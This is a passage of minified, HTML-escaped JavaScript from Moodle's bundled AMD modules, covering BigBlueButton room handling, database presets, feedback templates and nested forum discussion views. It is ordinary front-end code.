   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.setupWindowAutoClose=_exports.init=void 0,repository=_interopRequireWildcard(repository),roomUpdater=_interopRequireWildcard(roomUpdater);_exports.init=bigbluebuttonbnid=&gt;{const completionElement=document.querySelector(&quot;a[href*=completion_validate]&quot;);completionElement&amp;&amp;completionElement.addEventListener(&quot;click&quot;,(()=&gt;{repository.completionValidate(bigbluebuttonbnid).catch(_notification.exception)})),document.addEventListener(&quot;click&quot;,(e=&gt;{const joinButton=e.target.closest(&#039;[data-action=&quot;join&quot;]&#039;);joinButton&amp;&amp;(window.open(joinButton.href,&quot;bigbluebutton_conference&quot;),e.preventDefault(),setTimeout((()=&gt;{roomUpdater.updateRoom(!0)}),5e3))})),document.addEventListener(_events.eventTypes.sessionEnded,(()=&gt;{roomUpdater.stop(),roomUpdater.updateRoom(),(0,_notification.fetchNotifications)()})),window.addEventListener(_events.eventTypes.currentSessionEnded,(()=&gt;{roomUpdater.stop(),roomUpdater.updateRoom(),(0,_notification.fetchNotifications)()})),roomUpdater.start()};const autoclose=()=&gt;{window.opener.setTimeout((()=&gt;{roomUpdater.updateRoom(!0)}),5e3),window.removeEventListener(&quot;onbeforeunload&quot;,autoclose)};_exports.setupWindowAutoClose=()=&gt;{(0,_events.notifyCurrentSessionEnded)(window.opener),window.addEventListener(&quot;onbeforeunload&quot;,autoclose),window.close()}}));
define(&quot;mod_bigbluebuttonbn/roomupdater&quot;,[&quot;exports&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;./repository&quot;],(function(_exports,_templates,_notification,_repository){var obj;
/**
   * JS room updater.
   *
   * @module      mod_bigbluebuttonbn/roomupdater
   * @copyright   2021 Blindside Networks Inc
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.updateRoom=_exports.stop=_exports.start=void 0,_templates=(obj=_templates)&amp;&amp;obj.__esModule?obj:{default:obj};let updateCount=0,updateFactor=1,timerReference=null,timerRunning=!1;_exports.start=()=&gt;{timerRunning=!0,timerReference=setTimeout((()=&gt;poll()),5e3)};_exports.stop=()=&gt;{timerRunning=!1,timerReference&amp;&amp;(clearInterval(timerReference),timerReference=null),updateCount=0,updateFactor=1};const poll=()=&gt;{timerRunning&amp;&amp;updateCount%updateFactor==0&amp;&amp;updateRoom().then((()=&gt;{updateFactor&gt;=10?updateFactor=1:updateFactor++})).catch().then((()=&gt;{timerReference=setTimeout((()=&gt;poll()),5e3)})).catch()},updateRoom=function(){let updatecache=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]&amp;&amp;arguments[0];const bbbRoomViewElement=document.getElementById(&quot;bbb-room-view&quot;),bbbId=bbbRoomViewElement.dataset.bbbId,groupId=bbbRoomViewElement.dataset.groupId;return(0,_repository.getMeetingInfo)(bbbId,groupId,updatecache).then((data=&gt;(data.haspresentations=!1,data.presentations&amp;&amp;data.presentations.length&amp;&amp;(data.haspresentations=!0),_templates.default.renderForPromise(&quot;mod_bigbluebuttonbn/room_view&quot;,data)))).then((_ref=&gt;{let{html:html,js:js}=_ref;return _templates.default.replaceNodeContents(bbbRoomViewElement,html,js)})).catch(_notification.exception)};_exports.updateRoom=updateRoom}));
define(&quot;mod_bigbluebuttonbn/index&quot;,[&quot;exports&quot;,&quot;./actions&quot;,&quot;./events&quot;],(function(_exports,_actions,_events){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;_exports.init=()=&gt;{document.addEventListener(_events.eventTypes.sessionEnded,(()=&gt;{window.location.reload()}))}}));
define(&quot;mod_bigbluebuttonbn/modform&quot;,[&quot;exports&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;],(function(_exports,_str,_notification,_templates){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * JS for the mod_form page on mod_bigbluebuttonbn plugin.
   *
   * @module      mod_bigbluebuttonbn/mod_form
   * @copyright   2021 Blindside Networks Inc
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=_interopRequireDefault(_notification),_templates=_interopRequireDefault(_templates);const ELEMENT_SELECTOR_instanceTypeSelection=()=&gt;document.querySelector(&quot;select#id_type&quot;),ELEMENT_SELECTOR_instanceTypeProfiles=()=&gt;document.querySelector(&quot;[data-profile-types]&quot;),ELEMENT_SELECTOR_participantData=()=&gt;document.querySelector(&quot;[data-participant-data]&quot;),ELEMENT_SELECTOR_participantList=()=&gt;document.getElementsByName(&quot;participants&quot;)[0],ELEMENT_SELECTOR_participantTable=()=&gt;document.getElementById(&quot;participant_list_table&quot;),ELEMENT_SELECTOR_participantSelectionType=()=&gt;document.getElementsByName(&quot;bigbluebuttonbn_participant_selection_type&quot;)[0],ELEMENT_SELECTOR_participantSelection=()=&gt;document.getElementsByName(&quot;bigbluebuttonbn_participant_selection&quot;)[0],ELEMENT_SELECTOR_participantAddButton=()=&gt;document.getElementsByName(&quot;bigbluebuttonbn_participant_selection_add&quot;)[0];_exports.init=info=&gt;{const selectedType=ELEMENT_SELECTOR_instanceTypeSelection(),instanceTypeProfiles=JSON.parse(ELEMENT_SELECTOR_instanceTypeProfiles().dataset.profileTypes);let profileType=info.instanceTypeDefault;null!==selectedType&amp;&amp;-1!==selectedType.selectedIndex&amp;&amp;(profileType=selectedType.options[selectedType.selectedIndex].value);const isFeatureEnabled=(profileType,feature)=&gt;-1!==instanceTypeProfiles[profileType].features.indexOf(feature);applyInstanceTypeProfile(profileType,isFeatureEnabled),selectedType.addEventListener(&quot;change&quot;,(e=&gt;{applyInstanceTypeProfile(e.target.value,isFeatureEnabled)})),ELEMENT_SELECTOR_participantSelectionType().addEventListener(&quot;change&quot;,(e=&gt;{const currentTypeSelect=e.target;updateSelectionFromType(currentTypeSelect)})),ELEMENT_SELECTOR_participantAddButton().addEventListener(&quot;click&quot;,(e=&gt;{e.stopPropagation(),e.preventDefault(),participantAddFromCurrentSelection()})),participantListInit()};const applyInstanceTypeProfile=(profileType,isFeatureEnabled)=&gt;{let showAll=isFeatureEnabled(profileType,&quot;all&quot;);const showFieldset=(id,show)=&gt;{const node=document.querySelector(&quot;#&quot;+id);node&amp;&amp;(node.style.display=show?&quot;block&quot;:&quot;none&quot;)},showInput=(id,show)=&gt;{const node=document.querySelector(&quot;#&quot;+id);if(node){var ancestor=node.closest(&quot;div&quot;).closest(&quot;div&quot;);ancestor.style.display=show?&quot;block&quot;:&quot;none&quot;}},showFormGroup=(id,show)=&gt;{const node=document.querySelector(&quot;#fgroup_id_&quot;+id);node&amp;&amp;(show?node.classList.remove(&quot;hidden&quot;):node.classList.add(&quot;hidden&quot;))};showFieldset(&quot;id_room&quot;,showAll||isFeatureEnabled(profileType,&quot;showroom&quot;)),showInput(&quot;id_record&quot;,showAll||isFeatureEnabled(profileType,&quot;showroom&quot;)),showFieldset(&quot;id_recordings&quot;,showAll||isFeatureEnabled(profileType,&quot;showrecordings&quot;)),showInput(&quot;id_recordings_imported&quot;,showAll||isFeatureEnabled(profileType,&quot;showrecordings&quot;)),showFieldset(&quot;id_preuploadpresentation&quot;,showAll||isFeatureEnabled(profileType,&quot;preuploadpresentation&quot;)),showFieldset(&quot;id_permissions&quot;,showAll||isFeatureEnabled(profileType,&quot;permissions&quot;)),showFieldset(&quot;id_schedule&quot;,showAll||isFeatureEnabled(profileType,&quot;schedule&quot;)),showFieldset(&quot;id_modstandardelshdr&quot;,showAll||isFeatureEnabled(profileType,&quot;modstandardelshdr&quot;)),showFieldset(&quot;id_availabilityconditionsheader&quot;,showAll||isFeatureEnabled(profileType,&quot;availabilityconditionsheader&quot;)),showFieldset(&quot;id_tagshdr&quot;,showAll||isFeatureEnabled(profileType,&quot;tagshdr&quot;)),showFieldset(&quot;id_competenciessection&quot;,showAll||isFeatureEnabled(profileType,&quot;competenciessection&quot;)),showFormGroup(&quot;completionattendancegroup&quot;,showAll||isFeatureEnabled(profileType,&quot;completionattendance&quot;)),showFormGroup(&quot;completionengagementgroup&quot;,showAll||isFeatureEnabled(profileType,&quot;completionengagement&quot;))},participantListInit=()=&gt;{const participantData=JSON.parse(ELEMENT_SELECTOR_participantData().dataset.participantData);getParticipantList().forEach((participant=&gt;{const selectionTypeValue=participant.selectiontype,selectionValue=participant.selectionid,selectionRole=participant.role;&quot;all&quot;!==participant.selectiontype&amp;&amp;void 0===participantData[participant.selectiontype].children[participant.selectionid]||participantAddToForm(selectionTypeValue,selectionValue,selectionRole,!0).then()}))},participantAddToForm=async(selectionTypeValue,selectionValue,selectedRole,canRemove)=&gt;{const participantData=JSON.parse(ELEMENT_SELECTOR_participantData().dataset.participantData);let roles={viewer:{id:&quot;viewer&quot;,label:await(0,_str.get_string)(&quot;mod_form_field_participant_bbb_role_viewer&quot;,&quot;mod_bigbluebuttonbn&quot;)},moderator:{id:&quot;moderator&quot;,label:await(0,_str.get_string)(&quot;mod_form_field_participant_bbb_role_moderator&quot;,&quot;mod_bigbluebuttonbn&quot;)}};roles[selectedRole].isselected=!0;try{const listTable=document.querySelector(&quot;#participant_list_table tbody&quot;),templateContext={selectiontypevalue:selectionTypeValue,selectionvalue:selectionValue,participanttype:participantData[selectionTypeValue].name,participantvalue:&quot;all&quot;!==selectionTypeValue?participantData[selectionTypeValue].children[selectionValue].name:null,roles:Object.values(roles),canRemove:canRemove},{html:html,js:js}=await _templates.default.renderForPromise(&quot;mod_bigbluebuttonbn/participant_form_add&quot;,templateContext),newNode=_templates.default.appendNodeContents(listTable,html,js)[0];newNode.querySelector(&quot;.participant-select&quot;).addEventListener(&quot;change&quot;,(()=&gt;{participantListRoleUpdate(selectionTypeValue,selectionValue)}));const removeNode=newNode.querySelector(&quot;.remove-button&quot;);removeNode&amp;&amp;removeNode.addEventListener(&quot;click&quot;,(()=&gt;{participantRemove(selectionTypeValue,selectionValue)}))}catch(e){_notification.default.exception(e)}},participantListUpdate=list=&gt;{ELEMENT_SELECTOR_participantList().value=JSON.stringify(list)},getParticipantList=()=&gt;{const participantListValue=ELEMENT_SELECTOR_participantList().value;return participantListValue?JSON.parse(participantListValue):[]},participantRemove=(selectionTypeValue,selectionValue)=&gt;{const pList=getParticipantList(),id=&quot;participant_list_tr_&quot;+selectionTypeValue+&quot;-&quot;+selectionValue,participantListTable=ELEMENT_SELECTOR_participantTable(),selectionid=&quot;&quot;===selectionValue?null:selectionValue;for(let i=0;i&lt;pList.length;i++)pList[i].selectiontype===selectionTypeValue&amp;&amp;pList[i].selectionid===selectionid&amp;&amp;pList.splice(i,1);for(let i=0;i&lt;participantListTable.rows.length;i++)participantListTable.rows[i].id===id&amp;&amp;participantListTable.deleteRow(i);participantListUpdate(pList)},participantListRoleUpdate=(type,id)=&gt;{const participantListRoleSelection=document.querySelector(&quot;#participant_list_tr_&quot;.concat(type,&quot;-&quot;).concat(id,&quot; .participant-select&quot;)),pList=getParticipantList();for(var i=0;i&lt;pList.length;i++)pList[i].selectiontype===type&amp;&amp;pList[i].selectionid===id&amp;&amp;(pList[i].role=participantListRoleSelection.value);participantListUpdate(pList)},participantAddFromCurrentSelection=()=&gt;{let selectionType=ELEMENT_SELECTOR_participantSelectionType(),selection=ELEMENT_SELECTOR_participantSelection();const pList=getParticipantList();for(var i=0;i&lt;pList.length;i++)if(pList[i].selectiontype===selectionType.value&amp;&amp;pList[i].selectionid===selection.value)return;pList.push({selectiontype:selectionType.value,selectionid:selection.value,role:&quot;viewer&quot;}),participantAddToForm(selectionType.value,selection.value,&quot;viewer&quot;,!0).then(),participantListUpdate(pList)},updateSelectionFromType=currentTypeSelect=&gt;{const createNewOption=(selectItem,label,value)=&gt;{const option=document.createElement(&quot;option&quot;);option.text=label,option.value=value,selectItem.add(option)},participantData=JSON.parse(ELEMENT_SELECTOR_participantData().dataset.participantData),participantSelect=ELEMENT_SELECTOR_participantSelection();for(;participantSelect.firstChild;)participantSelect.removeChild(participantSelect.firstChild);if(-1!==currentTypeSelect.selectedIndex){Object.values(participantData[currentTypeSelect.value].children).forEach((option=&gt;{createNewOption(participantSelect,option.name,option.id)})),&quot;all&quot;===currentTypeSelect.value?(createNewOption(participantSelect,&quot;---------------&quot;,&quot;all&quot;),participantSelect.disabled=!0):participantSelect.disabled=!1}}}));
define(&quot;mod_data/saveaspreset&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/toast&quot;],(function(_exports,_modalform,_notification,_str,_toast){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript module for saving a database as a preset.
   *
   * @module      mod_data/saveaspreset
   * @copyright   2021 Mihail Geshoski &lt;mihail@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=_interopRequireDefault(_modalform),_notification=_interopRequireDefault(_notification);const selectors_saveAsPresetButton=&#039;[data-action=&quot;saveaspreset&quot;]&#039;;_exports.init=()=&gt;{const saveAsPresetButton=document.querySelector(selectors_saveAsPresetButton);saveAsPresetButton.addEventListener(&quot;click&quot;,(event=&gt;{event.preventDefault();const modalForm=new _modalform.default({modalConfig:{title:(0,_str.get_string)(&quot;savedataaspreset&quot;,&quot;mod_data&quot;)},formClass:&quot;mod_data\\form\\save_as_preset&quot;,args:{d:saveAsPresetButton.getAttribute(&quot;data-dataid&quot;)},saveButtonText:(0,_str.get_string)(&quot;save&quot;),returnFocus:saveAsPresetButton});modalForm.addEventListener(modalForm.events.FORM_SUBMITTED,(event=&gt;{event.detail.result?(0,_str.get_string)(&quot;savesuccess&quot;,&quot;data&quot;).then(_toast.add).catch():_notification.default.addNotification({type:&quot;error&quot;,message:event.detail.errors.join(&quot;&lt;br&gt;&quot;)})})),modalForm.show()}))}}));
define(&quot;mod_data/templateseditor&quot;,[&quot;exports&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/url&quot;],(function(_exports,_str,_notification,_url){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Javascript module to control the template editor.
   *
   * @module      mod_data/templateseditor
   * @copyright   2021 Mihail Geshoski &lt;mihail@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const selectors_toggleTemplateEditor=&#039;input[name=&quot;useeditor&quot;]&#039;;_exports.init=(d,mode)=&gt;{((d,mode)=&gt;{document.querySelector(selectors_toggleTemplateEditor).addEventListener(&quot;click&quot;,(async event=&gt;{event.preventDefault(),event.target.checked?(0,_notification.confirm)((0,_str.get_string)(&quot;confirmation&quot;,&quot;admin&quot;),(0,_str.get_string)(&quot;enabletemplateeditorcheck&quot;,&quot;mod_data&quot;),(0,_str.get_string)(&quot;yes&quot;,&quot;core&quot;),(0,_str.get_string)(&quot;no&quot;,&quot;core&quot;),(()=&gt;{window.location=(0,_url.relativeUrl)(&quot;/mod/data/templates.php&quot;,{d:d,mode:mode,useeditor:!0})})):window.location=(0,_url.relativeUrl)(&quot;/mod/data/templates.php&quot;,{d:d,mode:mode,useeditor:!1})}))})(d,mode)}}));
define(&quot;mod_data/selectpreset&quot;,[&quot;exports&quot;,&quot;core/notification&quot;,&quot;core/str&quot;],(function(_exports,_notification,_str){var obj;
/**
   * Javascript module to control the form responsible for selecting a preset.
   *
   * @module      mod_data/selectpreset
   * @copyright   2021 Mihail Geshoski &lt;mihail@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=(obj=_notification)&amp;&amp;obj.__esModule?obj:{default:obj};const selectors_selectPresetButton=&#039;input[name=&quot;selectpreset&quot;]&#039;,selectors_selectedPresetRadioButton=&#039;input[name=&quot;fullname&quot;]:checked&#039;;_exports.init=()=&gt;{document.querySelector(selectors_selectPresetButton).addEventListener(&quot;click&quot;,(event=&gt;{if(event.preventDefault(),document.querySelectorAll(selectors_selectedPresetRadioButton).length&gt;0){event.target.closest(&quot;form&quot;).submit()}else(0,_str.get_string)(&quot;presetnotselected&quot;,&quot;mod_data&quot;).then((str=&gt;_notification.default.addNotification({type:&quot;error&quot;,message:str}))).catch(_notification.default.exception)}))}}));
define(&quot;mod_feedback/createtemplate&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/toast&quot;],(function(_exports,_modalform,_notification,_str,_toast){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript module for saving a new template.
   *
   * @module      mod_feedback/createtemplate
   * @copyright   2021 Peter Dias
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=_interopRequireDefault(_modalform),_notification=_interopRequireDefault(_notification);const selectors_modaltrigger=&#039;[data-action=&quot;createtemplate&quot;]&#039;;_exports.init=()=&gt;{document.querySelector(selectors_modaltrigger).addEventListener(&quot;click&quot;,(event=&gt;{event.preventDefault();const ele=event.currentTarget,modalForm=new _modalform.default({modalConfig:{title:(0,_str.get_string)(&quot;save_as_new_template&quot;,&quot;mod_feedback&quot;)},formClass:&quot;mod_feedback\\form\\create_template_form&quot;,args:{id:ele.dataset.dataid},saveButtonText:(0,_str.get_string)(&quot;save&quot;,&quot;core&quot;)});modalForm.addEventListener(modalForm.events.FORM_SUBMITTED,(event=&gt;{event.detail.result?(0,_str.get_string)(&quot;template_saved&quot;,&quot;feedback&quot;).then(_toast.add).catch():(0,_str.get_string)(&quot;saving_failed&quot;,&quot;feedback&quot;).then((string=&gt;_notification.default.addNotification({type:&quot;error&quot;,message:string}))).catch()})),modalForm.show()}))}}));
define(&quot;mod_feedback/edit&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,ajax,str,notification){var manager={deleteItem:function(e){e.preventDefault();var targetUrl=$(e.currentTarget).attr(&quot;href&quot;);str.get_strings([{key:&quot;confirmation&quot;,component:&quot;admin&quot;},{key:&quot;confirmdeleteitem&quot;,component:&quot;mod_feedback&quot;},{key:&quot;yes&quot;,component:&quot;moodle&quot;},{key:&quot;no&quot;,component:&quot;moodle&quot;}]).then((function(s){notification.confirm(s[0],s[1],s[2],s[3],(function(){window.location=targetUrl}))})).catch()},setup:function(){$(&quot;body&quot;).delegate(&#039;[data-action=&quot;delete&quot;]&#039;,&quot;click&quot;,manager.deleteItem)}};return{setup:manager.setup}}));
define(&quot;mod_feedback/usetemplate&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/notification&quot;,&quot;core/str&quot;],(function(_exports,_modalform,_notification,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript module for using an existing template
   *
   * @module      mod_feedback/usetemplate
   * @copyright   2021 Peter Dias
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=_interopRequireDefault(_modalform),_notification=_interopRequireDefault(_notification);const selectors_modaltrigger=&#039;[data-action=&quot;usetemplate&quot;]&#039;;_exports.init=()=&gt;{const trigger=document.querySelector(selectors_modaltrigger);trigger.addEventListener(&quot;click&quot;,(event=&gt;{event.preventDefault();const modalForm=new _modalform.default({modalConfig:{title:(0,_str.get_string)(&quot;use_this_template&quot;,&quot;mod_feedback&quot;)},formClass:&quot;mod_feedback\\form\\use_template_form&quot;,args:{id:trigger.getAttribute(&quot;data-dataid&quot;),templateid:trigger.getAttribute(&quot;data-templateid&quot;)},saveButtonText:(0,_str.get_string)(&quot;save&quot;,&quot;core&quot;)});modalForm.addEventListener(modalForm.events.FORM_SUBMITTED,(event=&gt;{event.detail.result?window.location.assign(event.detail.url):_notification.default.addNotification({type:&quot;error&quot;,message:(0,_str.get_string)(&quot;saving_failed&quot;,&quot;mod_feedback&quot;)})})),modalForm.show()}))}}));
/**
 * Enrolled user selector module.
 *
 * @module     mod_forum/form-user-selector
 * @copyright  2019 Shamim Rezaie
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_forum/form-user-selector&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,Ajax,Templates){return{processResults:function(selector,results){var users=[];return $.each(results,(function(index,user){users.push({value:user.id,label:user._label})})),users},transport:function(selector,query,success,failure){var courseid=$(selector).attr(&quot;courseid&quot;);Ajax.call([{methodname:&quot;core_enrol_search_users&quot;,args:{courseid:courseid,search:query,searchanywhere:!0,page:0,perpage:30}}])[0].then((function(results){var promises=[],i=0;return $.each(results,(function(index,user){promises.push(Templates.render(&quot;mod_forum/form-user-selector-suggestion&quot;,user))})),$.when.apply($.when,promises).then((function(){var args=arguments;$.each(results,(function(index,user){user._label=args[i],i++})),success(results)}))})).fail(failure)}}}));
define(&quot;mod_forum/discussion_nested_v2&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/auto_rows&quot;,&quot;core/custom_interaction_events&quot;,&quot;core_form/changechecker&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;mod_forum/discussion&quot;,&quot;mod_forum/inpage_reply&quot;,&quot;mod_forum/lock_toggle&quot;,&quot;mod_forum/favourite_toggle&quot;,&quot;mod_forum/pin_toggle&quot;,&quot;mod_forum/selectors&quot;,&quot;mod_forum/subscription_toggle&quot;],(function(_exports,_jquery,_auto_rows,_custom_interaction_events,FormChangeChecker,_notification,_templates,_discussion,_inpage_reply,_lock_toggle,_favourite_toggle,_pin_toggle,_selectors,_subscription_toggle){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Module for viewing a discussion in nested v2 view.
   *
   * @module mod_Forum/discussion_nested_v2
   * @copyright  2019 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_auto_rows=_interopRequireDefault(_auto_rows),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),FormChangeChecker=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(FormChangeChecker),_notification=_interopRequireDefault(_notification),_templates=_interopRequireDefault(_templates),_discussion=_interopRequireDefault(_discussion),_inpage_reply=_interopRequireDefault(_inpage_reply),_lock_toggle=_interopRequireDefault(_lock_toggle),_favourite_toggle=_interopRequireDefault(_favourite_toggle),_pin_toggle=_interopRequireDefault(_pin_toggle),_selectors=_interopRequireDefault(_selectors),_subscription_toggle=_interopRequireDefault(_subscription_toggle);const getPostContainer=element=&gt;element.closest(_selectors.default.post.post),getPostContainerById=(element,id)=&gt;element.find(&quot;&quot;.concat(_selectors.default.post.post,&quot;[data-post-id=&quot;).concat(id,&quot;]&quot;)),getPostContentContainer=postContainer=&gt;postContainer.children().not(_selectors.default.post.repliesContainer).find(_selectors.default.post.forumCoreContent),getInPageReplyContainer=postContainer=&gt;postContainer.children().filter(_selectors.default.post.inpageReplyContainer),getInPageReplyForm=postContainer=&gt;getInPageReplyContainer(postContainer).find(_selectors.default.post.inpageReplyContent),getInPageReplyCreateButton=postContainer=&gt;getPostContentContainer(postContainer).find(_selectors.default.post.inpageReplyCreateButton),getRepliesVisibilityToggleContainer=postContainer=&gt;postContainer.children(_selectors.default.post.repliesVisibilityToggleContainer),getRepliesContainer=postContainer=&gt;postContainer.children(_selectors.default.post.repliesContainer),hasReplies=postContainer=&gt;getRepliesContainer(postContainer).children().length&gt;0,getShowRepliesButton=replyVisibilityToggleContainer=&gt;replyVisibilityToggleContainer.find(_selectors.default.post.showReplies),getHideRepliesButton=replyVisibilityToggleContainer=&gt;replyVisibilityToggleContainer.find(_selectors.default.post.hideReplies),repliesVisible=postContainer=&gt;getRepliesContainer(postContainer).is(&quot;:visible&quot;),showReplies=function(postContainer){let postIdToSee=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null;const repliesContainer=getRepliesContainer(postContainer),replyVisibilityToggleContainer=getRepliesVisibilityToggleContainer(postContainer),showButton=getShowRepliesButton(replyVisibilityToggleContainer),hideButton=getHideRepliesButton(replyVisibilityToggleContainer);showButton.addClass(&quot;hidden&quot;),hideButton.removeClass(&quot;hidden&quot;),repliesContainer.slideDown({duration:150,queue:!1,complete:()=&gt;{if(postIdToSee){const postContainerToSee=getPostContainerById(repliesContainer,postIdToSee);postContainerToSee.length&amp;&amp;postContainerToSee[0].scrollIntoView()}}}).css(&quot;display&quot;,&quot;none&quot;).fadeIn(150)},hideReplies=postContainer=&gt;{const repliesContainer=getRepliesContainer(postContainer),replyVisibilityToggleContainer=getRepliesVisibilityToggleContainer(postContainer),showButton=getShowRepliesButton(replyVisibilityToggleContainer),hideButton=getHideRepliesButton(replyVisibilityToggleContainer);showButton.removeClass(&quot;hidden&quot;),hideButton.addClass(&quot;hidden&quot;),repliesContainer.slideUp({duration:150,queue:!1}).fadeOut(150)};let showInPageReplyForm=null;const hideInPageReplyForm=function(postContainer){let postIdToSee=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null;const inPageReplyForm=getInPageReplyForm(postContainer),inPageReplyCreateButton=getInPageReplyCreateButton(postContainer),repliesVisibilityToggleContainer=getRepliesVisibilityToggleContainer(postContainer);repliesVisibilityToggleContainer.length&amp;&amp;hasReplies(postContainer)&amp;&amp;(repliesVisibilityToggleContainer.fadeOut(150),repliesVisible(postContainer)||showReplies(postContainer,postIdToSee)),inPageReplyForm.slideUp({duration:150,queue:!1,complete:()=&gt;{inPageReplyCreateButton.fadeIn(150)}}).fadeOut(200)},hasInPageReplyForm=inPageReplyContainer=&gt;inPageReplyContainer.find(_selectors.default.post.inpageReplyContent).length&gt;0,renderInPageReplyTemplate=(additionalTemplateContext,button,postContainer)=&gt;{const postContentContainer=getPostContentContainer(postContainer),currentSubject=postContentContainer.find(_selectors.default.post.forumSubject).text(),currentAuthorName=postContentContainer.find(_selectors.default.post.authorName).text(),context={postid:postContainer.data(&quot;post-id&quot;),reply_url:button.attr(&quot;data-href&quot;),sesskey:M.cfg.sesskey,parentsubject:currentSubject,parentauthorname:currentAuthorName,canreplyprivately:button.data(&quot;can-reply-privately&quot;),postformat:_inpage_reply.default.CONTENT_FORMATS.MOODLE,...additionalTemplateContext};return _templates.default.render(&quot;mod_forum/inpage_reply_v2&quot;,context)},registerEventListeners=root=&gt;{_custom_interaction_events.default.define(root,[_custom_interaction_events.default.events.activate]),_auto_rows.default.init(root),root.on(_custom_interaction_events.default.events.activate,_selectors.default.post.inpageReplyCreateButton,((e,data)=&gt;{data.originalEvent.preventDefault();const postContainer=getPostContainer((0,_jquery.default)(e.currentTarget));showInPageReplyForm(postContainer)})),root.on(_custom_interaction_events.default.events.activate,_selectors.default.post.inpageReplyCancelButton,((e,data)=&gt;{data.originalEvent.preventDefault();const postContainer=getPostContainer((0,_jquery.default)(e.currentTarget));hideInPageReplyForm(postContainer)})),root.on(_custom_interaction_events.default.events.activate,_selectors.default.post.showReplies,((e,data)=&gt;{data.originalEvent.preventDefault();const postContainer=getPostContainer((0,_jquery.default)(e.target));showReplies(postContainer)})),root.on(_custom_interaction_events.default.events.activate,_selectors.default.post.hideReplies,((e,data)=&gt;{data.originalEvent.preventDefault();const postContainer=getPostContainer((0,_jquery.default)(e.target));hideReplies(postContainer)})),root.on(_inpage_reply.default.EVENTS.POST_CREATED,_selectors.default.post.inpageSubmitBtn,((e,newPostId)=&gt;{const currentTarget=(0,_jquery.default)(e.currentTarget),postContainer=getPostContainer(currentTarget),postContainers=currentTarget.parents(_selectors.default.post.post);hideInPageReplyForm(postContainer,newPostId),postContainers.each(((index,container)=&gt;{(postContainer=&gt;{getRepliesVisibilityToggleContainer(postContainer).find(_selectors.default.post.replyCount).each(((index,element)=&gt;{const currentCount=parseInt(element.innerText,10);element.innerText=currentCount+1}))})((0,_jquery.default)(container))}))}))};_exports.init=(root,context)=&gt;{var additionalTemplateContext;additionalTemplateContext=context,showInPageReplyForm=async postContainer=&gt;{const 